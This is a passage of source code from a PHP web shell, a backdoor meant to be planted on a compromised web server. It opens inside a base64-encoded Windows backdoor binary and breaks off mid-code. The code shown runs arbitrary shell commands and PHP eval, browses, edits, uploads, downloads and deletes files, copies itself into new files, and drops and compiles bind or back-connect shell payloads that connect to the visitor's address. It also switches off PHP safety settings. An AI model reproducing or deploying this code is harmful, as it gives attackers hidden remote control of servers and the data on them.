  212. r2mWQhGwElcHExczTdNgGChYB033lk0ayEEbuwccaDRN0zR4WHlIetM0TdM4/DT/JKuInQRTAgTS
  213. ReTZwb5ggnmCIRem3wehpbx5/v2Bn+D8L0B+gPyowaPao0HOHmGXgf4HQG6QIbC1L0G2X+cr5P/P
  214. ouSiGgDlouiiW36h/lfy291RBQPaXtpfX9pq2jLT4GXn9tje4Pk5MX4A+AMyKCKwWdnVUVF8RyQw
  215. /f8GoE1EQnl0ZVRvV2lkZUNoYXID8H+7FFVuBm5kbGVkRXhjZXAF+la5bUZpJmUZD0N1cnK2oFWt
  216. v1UAcwJw2dYSI2kMQ1iTbIO1KA5BL1NEe+wLwGlytm9yeUFFU3lzJ7PWDmxtFFNvaxtq9hvAdGGP
  217. cEluZm8s7rNXuZbNgG9tbZ7J2jD3TGluZR61v8q2JABjJUWTT3L7F1sAWXMWmkFkZHKtCUABGExh
  218. PABHArpJVgVBbGANYGtMDUiBCj32NztSZQxDQUNQB01vZCycRbhyZUgqqFYjc2fBHjMtC09FTSd/
  219. VIBlwt55cCUPV1RruyU8ajSVQ01vIxCwCTtBDVd1ZUMB2JBlTr84RnJmKWxl7RhFbu3s0Jpe20R2
  220. Gm95ZhGGEDZXxeUbrAEUelvDZBIxey82DY3PTzZ7SZgEUIYYCc1QbnxSdGxgd2m8YfA0G7F0ypGJ
  221. AENw2Iy4ZnNlYGJPsDPiFjtTQ2xBDyPYjFkiZAw5CFgymnGGIRrbBfZRDkPlbIYtxF4Cn3RjaFvp
  222. ZzYLmKMO7B+GHMu2aballsz/AwI0FnfLsiwEAgENzlNBU9vmaAGIIQ4JAgj8lyctc4JQRUwBAwCJ
  223. C5Q/jIj9h+AADwELAQb0J3Zy2R3UFQQQAEAAEA+2YRNiEgcXYOxsFkyiDBAHy73sDQYAaESDR0DW
  224. DQii/B7WEBvBLhh0Oi6Q4LOQDTCY+mAuck2YdYaLJwlTA5pb7JRqQC4mJxwKUPKbkkFQwBO0RQAA
  225. aMVvsyQAAAD/AAAAAAAAAAAAAABgvgBQQACNvgDA//9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D
  226. 7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0
  227. icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHb
  228. c+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz/
  229. //9eife5cAAAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWI2OLZjb4A
  230. UAAAiwcJwHRFi18EjYQwAHAAAAHzUIPHCP+WUHAAAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+W
  231. VHAAAAnAdAeJA4PDBOvY/5ZkcAAAi65YcAAAjb4A8P//uwAQAABQVGoEU1f/1Y2H5wEAAIAgf4Bg
  232. KH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnbof//AAAAAAAAAAAAAAAAAAAAAAAAAHyAAABQgAAA
  233. AAAAAAAAAAAAAAAAiYAAAGyAAAAAAAAAAAAAAAAAAACWgAAAdIAAAAAAAAAAAAAAAAAAAAAAAAAA
  234. AAAAoIAAAK6AAAC+gAAAzoAAANyAAADqgAAAAAAAAPiAAAAAAAAAcwAAgAAAAABLRVJORUwzMi5E
  235. TEwAQURWQVBJMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MA
  236. AFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MA
  237. AABPcGVuU2VydmljZUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  238. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  239. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  240. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  241. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  242. $shell_style = "
  243. <style type=\"text/css\">
  244. *{
  245. font-family:Tahoma,Verdana,Arial;
  246. font-size:12px;
  247. line-height:20px;
  248. }
  249.  
  250. form{
  251. margin:0 auto;
  252. text-align:center;
  253. }
  254.  
  255. body{
  256. background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #333333;
  257. color:#ffffff;
  258. margin:0;
  259. padding:0;
  260. }
  261.  
  262. input,textarea{
  263. background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #111111;
  264. height:24px;
  265. color:#ffffff;
  266. padding:1.5px 4px 0 4px;
  267. margin:2px 0;
  268. border:1px solid ".$shell_color.";
  269. border-bottom:4px solid ".$shell_color.";
  270. vertical-align:middle;
  271. }
  272.  
  273. input:hover,textarea:hover{
  274. background:#0a0a0a;
  275. }
  276.  
  277. a{
  278. color:#ffffff;
  279. text-decoration:none;
  280. }
  281.  
  282. a:hover{
  283. border-bottom:1px solid #ffffff;
  284. }
  285.  
  286. h1{
  287. font-size:17px;
  288. height:20px;
  289. padding:2px 8px;
  290. background:".$shell_color.";
  291. border:0;
  292. border-left:4px solid ".$shell_color.";
  293. border-right:4px solid ".$shell_color.";
  294. border-bottom:1px solid #222222;
  295. margin:0 auto;
  296. width:90%;
  297. }
  298.  
  299. h1 img{
  300. vertical-align:bottom;
  301. }
  302.  
  303. .box{
  304. margin:0 auto;
  305. background:#000000;
  306. border:4px solid ".$shell_color.";
  307. padding:4px 8px;
  308. width:90%;
  309. text-align:justify;
  310. }
  311.  
  312. .gaul{
  313. color:".$shell_color.";
  314. }
  315.  
  316.  
  317.  
  318. .result, .boxcode{
  319. margin:0 auto;
  320. border:1px solid ".$shell_color.";
  321. font-family:Lucida Console,Tahoma,Verdana;
  322. padding:8px;
  323. text-align:justify;
  324. overflow:hidden;
  325. color:#ffffff;
  326. }
  327.  
  328.  
  329. #explorer, table{
  330. width:100%;
  331. }
  332.  
  333. table th{
  334. border-bottom:1px solid ".$shell_color.";
  335. background:#111111;
  336. padding:4px;
  337. }
  338.  
  339. table td{
  340. padding:4px;
  341. border-bottom:1px solid #111111;
  342. vertical-align:top;
  343. }
  344.  
  345. .tblExplorer tr:hover, .hexview td:hover{
  346. background:".$shell_color.";
  347. }
  348.  
  349.  
  350. .hidden{
  351. display:none;
  352. }
  353. .tblbox td {
  354. margin:0;
  355. padding:0;
  356. border-bottom:1px solid #222222;
  357. }
  358.  
  359. .tblbox tr:hover{
  360. background:none;
  361. }
  362.  
  363. #mainwrapper{
  364. width:100%;
  365. margin:20px auto;
  366. text-align:center;
  367. }
  368. #wrapper{
  369. width:90%;
  370. margin:auto;
  371.  
  372. }
  373.  
  374. .cmdbox{
  375. border-top:1px solid ".$shell_color.";
  376. border-bottom:1px solid ".$shell_color.";
  377. margin:4px 0;
  378. width:100%;
  379. }
  380.  
  381. .fpath{
  382. border-top:1px solid ".$shell_color.";
  383. border-bottom:1px solid ".$shell_color.";
  384. margin:4px 0;
  385. padding:4px 0;
  386. }
  387.  
  388. .fprop{
  389. border-top:1px solid ".$shell_color.";
  390. border-bottom:1px solid ".$shell_color.";
  391. margin:4px 0;
  392. padding:4px 0;
  393. }
  394.  
  395.  
  396. .bottomwrapper{
  397. text-align:center;
  398. }
  399.  
  400. .btn{
  401. height:24px;
  402. background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #111111;
  403. font-size:10px;
  404. text-align:right;
  405. }
  406.  
  407. .hexview , .hexview td{
  408. font-family: Lucida Console,Tahoma;
  409. }
  410. </style>
  411. ";
  412. //################# FUNCTION GOES HERE #######################==============================================]
  413. function xclean($text){
  414. if (get_magic_quotes_gpc()) {
  415. $text = stripslashes($text);
  416. }
  417. return $text;
  418. }
  419. function xcleanpath($path){
  420. if(is_dir($path)){
  421. $path = urldecode(trim(xclean($path)));
  422. $xSlash = DIRECTORY_SEPARATOR;
  423. while(substr($path,-1) == $xSlash){
  424. $path = rtrim($path,$xSlash);
  425. }
  426. return $path.$xSlash;
  427. }
  428. return $path;
  429. }
  430. function xparsedir($dir){
  431. $xSlash = DIRECTORY_SEPARATOR;
  432. $dirs = explode($xSlash,$dir);
  433. $buff = "";
  434. $dlink = "";
  435. $system = trim(php_uname());
  436. if(strtolower(substr($system,0,3)) != "win") {
  437. $dlink .= urlencode($xSlash);
  438. $buff .= "<a href=\"?dir=".$dlink."\">".$xSlash."</a>&nbsp;";
  439. }
  440. foreach($dirs as $d){
  441. $d = trim($d);
  442. if($d != ""){
  443. $dlink .= urlencode($d.$xSlash);
  444. $buff .= "<a href=\"?dir=".$dlink."\">".$d." ".$xSlash."</a>&nbsp;";
  445. }
  446. }
  447. return "<span class=\"gaul\">[ </span>".$buff."<span class=\"gaul\"> ]</span>";
  448. }
  449. function xfileopen($file){
  450. $content = "";
  451. if(is_file($file) || is_link($file)){
  452. if($fp = fopen($file,"rb")){
  453. while(!feof($fp)) {
  454. $content .= fread($fp,1024);
  455. }
  456. fclose($fp);
  457. }
  458. }
  459. return $content;
  460. }
  461. function xfilesave($file,$content){
  462. $dir = substr($file,0,strrpos($file,DIRECTORY_SEPARATOR));
  463. if(!is_dir($dir)) mkdir($dir);
  464. if($file != ""){
  465. $handle = fopen($file, "wb");
  466. if(fwrite($handle, $content) || ($content == "")){
  467. fclose($handle);
  468. return true;
  469. }
  470. fclose($handle);
  471. }
  472. return false;
  473. }
  474. function xtempfolder() {
  475. if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
  476. if (!empty($_ENV['TMPDIR'])) { return realpath( $_ENV['TMPDIR']); }
  477. if (!empty($_ENV['TEMP'])) { return realpath( $_ENV['TEMP']); }
  478. $tempfile=tempnam(__FILE__,'');
  479. if (file_exists($tempfile)) {
  480. unlink($tempfile);
  481. return realpath(dirname($tempfile));
  482. }
  483. return null;
  484. }
  485. function xrmdir($dir) {
  486. $files = glob($dir . '*', GLOB_MARK);
  487. foreach( $files as $f ){
  488. if(is_dir($f)) xrmdir($f);
  489. else unlink($f);
  490. }
  491. if (is_dir($dir)) rmdir($dir);
  492. }
  493. function xhighlight($file){
  494. $color_bg = ini_get('highlight.bg');
  495. $color_html = ini_get('highlight.html');
  496. $color_keyword = ini_get('highlight.keyword');
  497. $color_default = ini_get('highlight.default');
  498. $color_comment = ini_get('highlight.comment');
  499. $color_string = ini_get('highlight.string');
  500. $con = @highlight_file($file,true);
  501. $con = str_ireplace($color_keyword,"#FF0082",$con);
  502. $con = str_ireplace($color_default,"#F00000",$con);
  503. $con = str_ireplace($color_string,"#888888",$con);
  504. $con = str_ireplace($color_html,"#EEEEEE",$con);
  505. return $con;
  506. }
  507. function xfilesummary($file){
  508. $buff = "";
  509. if(is_file($file) || is_link($file)){
  510. $buff = "Filesize : ".xparsefilesize(xfilesize($file))." ( ".xfilesize($file)." ) <span class=\"gaul\"> :: </span>Permission : ".xfileperms($file)." ( ".xfileowner($file)." )<span class=\"gaul\"> :: </span>modified : ".xfilelastmodified($file);
  511. }
  512. return $buff;
  513. }
  514. function xparsefilesize($size){
  515. if($size <= 1024) return $size;
  516. else{
  517. if($size <= 1024*1024) {
  518. $size = sprintf("%.02f",@round($size / 1024,2));
  519. return $size." kb";
  520. }
  521. else {
  522. $size = sprintf("%.02f",@round($size / 1024 / 1024,2));
  523. return $size." mb";
  524. }
  525. }
  526. }
  527. function xfilesize($file){
  528. if(is_file($file) || is_link($file)){
  529. if($size = filesize($file)){
  530. return $size;
  531. }
  532. }
  533. return "0";
  534. }
  535. function xfileperms($file){
  536. $isreadable = "-";
  537. $iswriteable = "-";
  538. if(is_file($file) || is_dir($file) || is_link($file)){
  539. if(is_readable($file)) $isreadable = "r";
  540. if(is_writeable($file)) $iswriteable = "w";
  541. }
  542. return $isreadable . " / " . $iswriteable;
  543. }
  544. function xfileowner($file){
  545. if(is_file($file) || is_dir($file) || is_link($file)){
  546. $fowner = fileowner($file);
  547. $fgroup = filegroup($file);
  548. if(function_exists('posix_getpwuid') && (function_exists('posix_getgrgid'))) {
  549. $name=posix_getpwuid($fowner);
  550. $group=posix_getgrgid($fgroup);
  551. return trim($name['name'].":".$group['name']);
  552. }
  553. else{
  554. return "???";
  555. }
  556. }
  557. return "???";
  558. }
  559. function xdrive(){
  560. $letters = "";
  561. foreach (range("A","Z") as $letter){
  562. $bool = @is_dir($letter.":\\");
  563. if($bool){
  564. $letters .= "<a href=\"?dir=".$letter.":\\\"><span class=\"gaul\">[ </span>";
  565. $letters .= $letter;
  566. $letters .= "<span class=\"gaul\"> ]</span</a> ";
  567. }
  568. }
  569. if($letters != "") $letters .= "<br />";
  570. return $letters;
  571. }
  572. function xfilelastmodified($file){
  573. if(is_file($file) || is_dir($file) || is_link($file)){
  574. $lastm = date("d-M-Y H:i",filemtime($file));
  575. return $lastm;
  576. }
  577. return "???";
  578. }
  579. function xrunexploit($fpath,$base64,$port,$type){
  580. $con = base64_decode($base64);
  581. $system = trim(php_uname());
  582. $final = "";
  583. if(preg_match("/win/i",$system)){
  584. $fname = "bd.exe";
  585. $ip = "";
  586. $ok = false;
  587. $fpath = $fpath.$fname;
  588. if(is_file($fpath)) unlink($fpath);
  589. if(!xfilesave($fpath,$con)){
  590. $tmp = xcleanpath(xtempfolder());
  591. $fpath = $tmp.$fname;
  592. if(xfilesave($fpath,$con)) $ok = true;
  593. }
  594. else $ok = true;
  595. if($ok){
  596. $fpath = trim($fpath);
  597. if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
  598. $final .= $fpath." ".$port." ".$ip;
  599. ekse(trim($final));
  600. return true;
  601. }
  602. }
  603. else {
  604. if($type == 'connect') $fname = "back";
  605. else $fname = "bind";
  606. $ip = "";
  607. $ok = false;
  608. $fpath = $fpath.$fname;
  609. if(is_file($fpath.".c")) unlink($fpath.".c");
  610. if(!xfilesave($fpath.".c",$con)){
  611. $tmp = xcleanpath(xtempfolder());
  612. $fpath = $tmp.$fname;
  613. if(xfilesave($fpath.".c",$con)) $ok = true;
  614. }
  615. else $ok = true;
  616. if($ok){
  617. $fpath = trim($fpath);
  618. if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
  619. ekse("gcc ".$fpath.".c -o ".$fpath);
  620. ekse("chmod +x ".$fpath);
  621. if(is_file($fpath)){
  622. $final .= $fpath." ".$port." ".$ip;
  623. ekse(trim($final));
  624. return true;
  625. }
  626. else return false;
  627. }
  628. }
  629. return false;
  630. }
  631. function xeval($code){
  632. $code = xclean($code);
  633. @ob_start();
  634. @eval($code);
  635. $buff = @ob_get_contents();
  636. @ob_end_clean();
  637. return $buff;
  638. }
  639. function ekse($cmd){
  640. if(function_exists('system')) {
  641. @ob_start();
  642. @system($cmd);
  643. $buff = @ob_get_contents();
  644. @ob_end_clean();
  645. return $buff;
  646. }
  647. elseif(function_exists('exec')) {
  648. @exec($cmd,$results);
  649. $buff = "";
  650. foreach($results as $result){
  651. $buff .= $result;
  652. }
  653. return $buff;
  654. }
  655. elseif(function_exists('passthru')) {
  656. @ob_start();
  657. @passthru($cmd);
  658. $buff = @ob_get_contents();
  659. @ob_end_clean();
  660. return $buff;
  661. }
  662. elseif(function_exists('shell_exec')){
  663. $buff = @shell_exec($cmd);
  664. return $buff;
  665. }
  666. }
  667. function xdir($path){
  668. $path = trim($path);
  669. $path = xcleanpath($path);
  670. if(is_dir($path)){
  671. $fname = array();
  672. $dname = array();
  673. if($dh = @scandir($path)){
  674. foreach($dh as $file){
  675. if(is_dir($file)){
  676. $dname[] = $file;
  677. }
  678. else{
  679. $fname[] = $file;
  680. }
  681. }
  682. }
  683. else{
  684. if($dh = @opendir($path)){
  685. while($file = @readdir($dh)){
  686. if(@is_dir($file)){
  687. $dname[] = $file;
  688. }
  689. else{
  690. $fname[] = $file;
  691. }
  692. }
  693. @closedir($dh);
  694. }
  695. }
  696. natcasesort($fname);
  697. natcasesort($dname);
  698. $buff = "<div id=\"explorer\"><table class=\"tblExplorer\">
  699. <tr><th>Filename</th>
  700. <th style=\"width:80px;\">Filesize</th>
  701. <th style=\"width:80px;\">Permission</th>
  702. <th style=\"width:150px;\">Last Modified</th>
  703. <th style=\"width:180px;\">Action</th></tr>";
  704. foreach($dname as $d){
  705. $sd = $d;
  706. if($d == "..") {
  707. $nextdir = "..".DIRECTORY_SEPARATOR."..";
  708. $d = xcleanpath(realpath($sd));
  709. }
  710. elseif($d == ".") {
  711. $nextdir = "..";
  712. $d = xcleanpath(realpath($sd));
  713. }
  714. else {
  715. $nextdir = ".";
  716. $d = xcleanpath(realpath(".".DIRECTORY_SEPARATOR.$sd));
  717. }
  718. $dir = $d;
  719. $nextdir = xcleanpath(realpath($nextdir));
  720. $buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location= '?dir=".urlencode($d)."';\">
  721. <td><span style=\"font-weight:bold;\"><a href=\"?dir=".$dir."\">[</span> ".$sd." <span style=\"font-weight:bold;\">]</span></a></td>";
  722. $buff .= "<td>DIR</td>";
  723. $buff .= "<td style=\"text-align:center;\">".xfileperms($d)."</td>";
  724. $buff .= "<td style=\"text-align:center;\">".xfilelastmodified($d)."</td>";
  725. $buff .= "<td style=\"text-align:center;\"><a href=\"?dir=".$dir."&properties=".xcleanpath(realpath($d))."\">Properties</a> | <a href=\"?dir=".$nextdir."&del=".xcleanpath(realpath($d))."\">Remove</a></td>";
  726. $buff .= "</tr>";
  727. }
  728. foreach($fname as $f){
  729. $sf = $f;
  730. $f = $path.$f;
  731. $view = "?dir=".urlencode($path)."&view=".urlencode($f);
  732. $buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location='?dir=".urlencode(xcleanpath($path))."&properties=".urlencode($f)."';\"><td>
  733. <a href=\"?dir=".urlencode(xcleanpath($path))."&properties=".urlencode($f)."\">
  734. ".$sf."</a></td>";
  735. $buff .= "<td>".xparsefilesize(xfilesize($f))."</td>";
  736. $buff .= "<td style=\"text-align:center;\">".xfileperms($f)."</td>";
  737. $buff .= "<td style=\"text-align:center;\">".xfilelastmodified($f)."</td>";
  738. $buff .= "<td style=\"text-align:center;\"><a href=\"".$view."\">Edit</a> | <a href=\"?get=".$f."\">Download</a> | <a href=\"?dir=".xcleanpath($path)."&del=".$f."\">Remove</a></td>";
  739. $buff .= "</tr>";
  740. }
  741. $buff .= "</table></div>";
  742. return $buff;
  743. }
  744. }
  745. //################# INIT GOES HERE #######################==================================================]
  746. error_reporting(0);
  747. @set_time_limit(0);
  748. ini_set("allow_url_fopen" ,1);
  749. ini_set("allow_url_include" ,1);
  750. ini_set("open_basedir",NULL);
  751.  
  752.  
  753. if(isset($_POST['passw'])){
  754. $check = trim($_POST['passw']);
  755. if($check == $shell_password){
  756. setcookie("pass",$check,time() + 3600*24*7);
  757. $m = $_SERVER['SCRIPT_NAME'];
  758. header("Location: ".$m);
  759. die();
  760. }
  761. else setcookie("pass",$check,time() - 3600*24*7);
  762. }
  763. if(isset($_COOKIE['pass'])) $check = trim($_COOKIE['pass']);
  764. else $check = "";
  765. if($check == $shell_password){
  766. $auth = true;
  767. }
  768. else $auth = false;
  769. if(isset($_GET['img'])){
  770. $file = xclean($_GET['img']);
  771. if(is_file($file)){
  772. @ob_clean();
  773. $inf = getimagesize($file);
  774. $ext = explode(basename($file),".");
  775. $ext = $ext[count($ext)-1];
  776. @header("Content-type: ".$inf["mime"]);
  777. @header("Cache-control: public");
  778. @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  779. @header("Cache-control: max-age=".(60*60*24*7));
  780. @readfile($file);
  781. exit;
  782. }
  783. else{
  784. $file = $$file;
  785. $data = base64_decode($file);
  786. @header("Content-type: image/png");
  787. @header("Cache-control: public");
  788. echo $data;
  789. exit;
  790. }
  791. }
  792. if(isset($_GET['get']) && ($_GET['get'] != "")){
  793. $file = xclean($_GET['get']);
  794. $filez = @file_get_contents($file);
  795. header("Content-type: application/octet-stream");
  796. header("Content-length: ".strlen($filez));
  797. header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  798. echo $filez;
  799. exit;
  800. }
  801. $xCwd = xcleanpath(getcwd());
  802. if(isset($_GET['btnConnect']) && (is_numeric($_GET['bportC']))){
  803. $port = $_GET['bportC'];
  804. $dir = xcleanpath(xclean(trim($_GET['dir'])));
  805. $system = trim(php_uname());
  806. if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
  807. else $base64 = $xBack;
  808. if(xrunexploit($dir,$base64,$port,"connect")){
  809. }
  810. }
  811. elseif(isset($_GET['btnListen']) && (is_numeric($_GET['lportC']))){
  812. $port = $_GET['lportC'];
  813. $dir = xcleanpath(xclean(trim($_GET['dir'])));
  814. $system = trim(php_uname());
  815. if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
  816. else $base64 = $xBind;
  817. if(xrunexploit($dir,$base64,$port,"listen")){
  818. }
  819. }
  820. if(isset($_GET['dir']) && ($_GET['dir'] != "")){
  821. $newdir = xcleanpath(xclean(trim($_GET['dir'])));
  822. if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
  823. $newdir = xcleanpath(xclean(trim($_GET['properties'])));
  824. }
  825. if(is_dir($newdir)){
  826. if(chdir($newdir)) $xCwd = $newdir;
  827. }
  828. else{
  829. $newdir = dirname($newdir);
  830. if(is_dir($newdir)) if(chdir($newdir)) $xCwd = $newdir;
  831. }
  832. if(isset($_POST['btnNewUploadUrl'])){
  833. $filename = xclean(trim($_POST['filename']));
  834. $fileurl = xclean(trim($_POST['fileurl']));
  835. if($filename == "") $filename = basename($fileurl);
  836. $filepath = $newdir.$filename;
  837. if($fileurl != ""){
  838. $con = xfileopen($fileurl);
  839. xfilesave($filepath,$con);
  840. }
  841. }
  842. elseif(isset($_POST['btnNewUploadLocal'])){
  843. if(is_uploaded_file($_FILES['filelocal']['tmp_name'])){
  844. $filename = xclean(trim($_POST['filename']));
  845. if($filename == "") $filename = $_FILES['filelocal']['name'];
  846. $tmp_name = $_FILES['filelocal']['tmp_name'];
  847. $filepath = $newdir.$filename;
  848. $stat = @move_uploaded_file($tmp_name,$filepath);
  849. }
  850. }
  851. if(isset($_GET['foldername']) && ($_GET['foldername'] != "")){
  852. $fname = xcleanpath(xclean(trim($_GET['foldername'])));
  853. if(!is_dir($newdir.$fname)) mkdir($newdir.$fname);
  854. }
  855. elseif(isset($_GET['del']) && ($_GET['del'] != "")){
  856. $fdel = xclean(trim($_GET['del']));
  857. if(is_file($fdel) || is_link($fdel)) unlink($fdel);
  858. elseif(is_dir($fdel)){
  859. xrmdir($fdel);
  860. $newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
  861. $newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
  862. }
  863. }
  864. elseif(isset($_GET['childname']) && ($_GET['childname'] != "")){
  865. $childname = $newdir.xclean(trim($_GET['childname']));
  866. $con = xfileopen($_SERVER['SCRIPT_FILENAME']);
  867. xfilesave($childname,$con);
  868. }
  869. }
  870. if(isset($_GET['cmd']) && ($_GET['cmd'] != "")){
  871. $cmd = xclean($_GET['cmd']);
  872. if(preg_match("/^cd(.*)/i",$cmd,$c)){
  873. $newdir = trim($c[1]);
  874. $newdir = trim(urldecode(xclean($newdir)));
  875. if($newdir == "\\") $xCwd = substr($xCwd,0,3);
  876. else{
  877. if(strpos($newdir,":") > 0){
  878. if(is_dir($newdir)) $xCwd = xcleanpath(realpath($newdir));
  879. }
  880. elseif(is_dir($newdir)){
  881. $xCwd = xcleanpath(realpath($newdir));
  882. }
  883. else{
  884. if(is_dir($xCwd.$newdir)) $xCwd = xcleanpath(realpath($xCwd.$newdir));
  885. }
  886. }
  887. $result = xdir($xCwd);
  888. }
  889. elseif(preg_match("/^(\w{1}:.*)/",$cmd,$dc)){
  890. $newdir = trim($dc[1]);
  891. if(is_dir($newdir)){
  892. $xCwd = xcleanpath($newdir);
  893. }
  894. $result = xdir($xCwd);
  895. }
  896. else {
  897. $result = ekse($cmd);
  898. if($result != "") $result = nl2br(str_replace(" ","&nbsp;",htmlentities($result)));
  899. else {
  900. $result = xdir($xCwd);
  901. }
  902. }
  903.  
  904. }
  905. elseif(isset($_GET['eval']) && ($_GET['eval'] != "")){
  906. $result = htmlspecialchars(xeval($_GET['eval']));
  907. }
  908. elseif(isset($_GET['properties']) && ($_GET['properties'] != "")){
  909. $fname = xcleanpath(xclean($_GET['properties']));
  910. if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
  911. $oldname = xclean($_GET['oldfilename']);
  912. rename($oldname,$fname);
  913. }
  914. $dir = xclean($_GET['dir']);
  915. $fcont = "";
  916. $fview = "";
  917. if(is_dir($fname)){
  918. $fsize = "DIR";
  919. $fcont = xdir($fname);
  920. $faction = "<a href=\"?dir=".xcleanpath(realpath($fname))."&properties=".xcleanpath(realpath($fname))."\">Properties</a> | <a href=\"?dir=".xcleanpath(realpath($fname.".."))."&del=".xcleanpath(realpath($fname))."\">Remove</a>";
  921. }
  922. else{
  923. $fname = rtrim($fname,DIRECTORY_SEPARATOR);
  924. $fsize = xparsefilesize(xfilesize($fname))." <span class=\"gaul\">( </span>".xfilesize($fname)." bytes<span class=\"gaul\"> )</span>";
  925. $type = "";
  926. if(isset($_GET['type'])) $type = trim(xclean($_GET['type']));
  927. $iinfo = getimagesize($fname);
  928. $imginfo = "";
  929. if($type == ""){
  930. if(is_array($iinfo)) $type = 'img';
  931. else $type = 'text';
  932. }
  933. if($type == 'code'){
  934. if($code = xhighlight($fname))
  935. $fcont = "<div class=\"boxcode\">".$code."</div>";
  936. }
  937. elseif($type == 'img'){
  938. $width = (int) $iinfo[0];
  939. $height = (int) $iinfo[1];
  940. $imginfo = "Image type = ( ".$iinfo['mime']." )<br />Image Size = <span class=\"gaul\">( </span>".$width." x ".$height."<span class=\"gaul\"> )</span><br />";
  941. if($width > 800){
  942. $width = 800;
  943. $imglink = "<p><a href=\"?img=".$fname."\" target=\"_blank\"><span class=\"gaul\">[ </span>view full size<span class=\"gaul\"> ]</span></a></p>";
  944. }
  945. else $imglink = "";
  946.  
  947. $fcont = "<div style=\"text-align:center;width:100%;\">".$imglink."<img width=\"".$width."\" src=\"?img=".$fname."\" alt=\"\" style=\"margin:8px auto;padding:0;border:0;\" /></div>";
  948. }
  949. else{
  950. $code = htmlspecialchars(file_get_contents($fname));
  951. $fcont = "<div class=\"boxcode\">".nl2br($code)."</div>";
  952. }
  953. $faction = "<a href=\"?dir=".xcleanpath($dir)."&view=".$fname."\">Edit</a> | <a href=\"?get=".$fname."\">Download</a> | <a href=\"?dir=".xcleanpath($dir)."&del=".$fname."\">Remove</a>";
  954. $fview = "<a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=text\"><span class=\"gaul\">[ </span>text<span class=\"gaul\"> ]</span></a><a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=code\"><span class=\"gaul\">[ </span>code<span class=\"gaul\"> ]</span></a><a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=img\"><span class=\"gaul\">[ </span>image<span class=\"gaul\"> ]</span></a>";
  955. }
  956. $fowner = xfileowner($fname);
  957. $fperm = xfileperms($fname);
  958. $result = "<div style=\"display:inline;\">
  959. <form action=\"?\" method=\"get\" style=\"margin:0;padding:1px 8px;text-align:left;\">
  960. <input type=\"hidden\" name=\"dir\" value=\"".$dir."\" />
  961. <input type=\"hidden\" name=\"oldfilename\" value=\"".$fname."\" />".$faction." |
  962. <span><input style=\"width:50%;\" type=\"text\" name=\"properties\" value=\"".$fname."\" />
  963. <input style=\"width:120px\" class=\"btn\" type=\"submit\" name=\"btnRename\" value=\"Rename\" />
  964. </span>
  965. <div class=\"fprop\">
  966. Size = ".$fsize."<br />".$imginfo."
  967. Owner = <span class=\"gaul\">( </span>".$fowner."<span class=\"gaul\"> )</span><br />
  968. Permission = <span class=\"gaul\">( </span>".$fperm."<span class=\"gaul\"> )</span><br />
  969. Create Time = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@filectime($fname))."<span class=\"gaul\"> )</span><br />
  970. Last Modified = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@filemtime($fname))."<span class=\"gaul\"> )</span><br />
  971. Last Accessed = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@fileatime($fname))."<span class=\"gaul\"> )</span><br />
  972. ".$fview."
  973. </div>
  974. ".$fcont."
  975. </form>
  976. </div>
  977. ";
  978. }
  979. elseif((isset($_GET['view']) && ($_GET['view'] != "")) || ((isset($_GET['filename']) && ($_GET['filename'] != "")))){
  980. $msg = "";
  981. if(isset($_POST['save']) && ($_POST['save'] == "Save As")){
  982. $file = xclean(trim($_POST['saveAs']));
  983. $content = xclean($_POST['filesource']);
  984. if(xfilesave($file,$content)) $pesan = "File Saved";
  985. else $pesan = "Failed to save file";
  986. $msg = "<span style=\"float:right;\"><span class=\"gaul\">[ </span>".$pesan."<span class=\"gaul\"> ]</span></span>";
  987. }
  988. else {
  989. if(isset($_GET['view']) && ($_GET['view'] != "")) $file = xclean(trim($_GET['view']));
  990. else $file = $xCwd.xclean(trim($_GET['filename']));
  991. }
  992. $result = xfileopen($file);
